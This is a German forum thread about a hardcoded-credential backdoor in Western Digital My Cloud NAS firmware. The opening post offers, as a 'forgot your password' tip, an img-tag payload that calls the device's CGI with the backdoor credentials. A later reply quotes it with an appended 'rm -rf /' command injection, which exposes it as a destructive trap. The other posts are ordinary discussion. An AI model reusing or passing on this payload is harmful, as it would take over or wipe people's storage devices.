My Cloud: Netzwerkspeicher von Western Digital via Backdoor angreifbar

Print Page

enjoy 06.01.2018 - 08:28 2045 7 Thread rating

Posts

enjoy Addicted Registered: Sep 2000 Location: Tullnerfeld Posts: 410	06.01.2018 - 08:28 My Cloud: Netzwerkspeicher von Western Digital via Backdoor angreifbar Besitzer eines "My Cloud"-Netzwerkspeichers sollten diesen bis auf weiteres vom Internet trennen: Die Firmware zahlreicher Modelle ermöglicht offenbar das Login mit hardgecodeten Default-Zugangsdaten aus der Ferne. Patches stehen seit langem aus. Link: www.heise.de Falls wer von euch ein My Cloud System hat und sein Benutzer-Passwort vergessen hat Code: `<img src="http://wdmycloud/cgi-bin/nas_sharing.cgi?dbg=1&cmd=51&user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&start=1&count=1;">` vielleicht findet ihr in der Zeile eine Möglichkeit, euch mit Root-User anzumelden vom Internet trennen, imho Bearbeitet von enjoy am 07.01.2018, 09:38
Denne Here to stay Registered: Jan 2005 Location: Germany Posts: 2801	06.01.2018 - 11:23 Hardgecodete Default-Zugangsdaten Wie zum Teufel kann man zur heutigen Zeit noch auf so eine Idee kommen?
Dreamforcer New world Order Registered: Nov 2002 Location: Tirol Posts: 9018	06.01.2018 - 16:26 nice, erst die cams jetzt das, was da wohl noch alles kommen wird
Hubman Seine Dudeheit Registered: May 2000 Location: Nürnberg vs. Vl.. Posts: 5835	06.01.2018 - 16:35 Zitat aus einem Post von Denne Hardgecodete Default-Zugangsdaten Wie zum Teufel kann man zur heutigen Zeit noch auf so eine Idee kommen? WD ist ja ein recht neues startup und der praktikant hat etwas rumgespielt.... Produktrelease war dann zu früh, kann passieren
MaxMax Here to stay Registered: Jul 2001 Location: Wien Posts: 1934	06.01.2018 - 16:59 naja, aber brauchen die servicetechniker von WD nicht im falle der garantie irgendeinen rootzugang zum system?
Smut Moderator takeover &amp; ether Registered: Feb 2003 Location: VIE Posts: 16837	06.01.2018 - 17:09 Zitat aus einem Post von MaxMax naja, aber brauchen die servicetechniker von WD nicht im falle der garantie irgendeinen rootzugang zum system? Aber bitte nur lokal über einen extra Port. Remote ist sowas ein absolutes nogo und einfach nicht notwendig. schon aus Eigenschutz will man als unternehmen idr soetwas nicht haben außer es ist für die Funktionalität des Services notwendig - dann muss man die Authentifizierung sowie deren Merkmale aber top top schützen. Bearbeitet von Smut am 06.01.2018, 18:32
Dreamforcer New world Order Registered: Nov 2002 Location: Tirol Posts: 9018	06.01.2018 - 17:41 Zitat aus einem Post von MaxMax naja, aber brauchen die servicetechniker von WD nicht im falle der garantie irgendeinen rootzugang zum system? denk das wird der hintergrund sein, aber wie smut ja schon sagt, so ists halt a bissi blöd.
wergor connoisseur de mimi Registered: Jul 2005 Location: vulkanland Posts: 4095	06.01.2018 - 18:26 Zitat aus einem Post von enjoy ;rm+-rf+/;"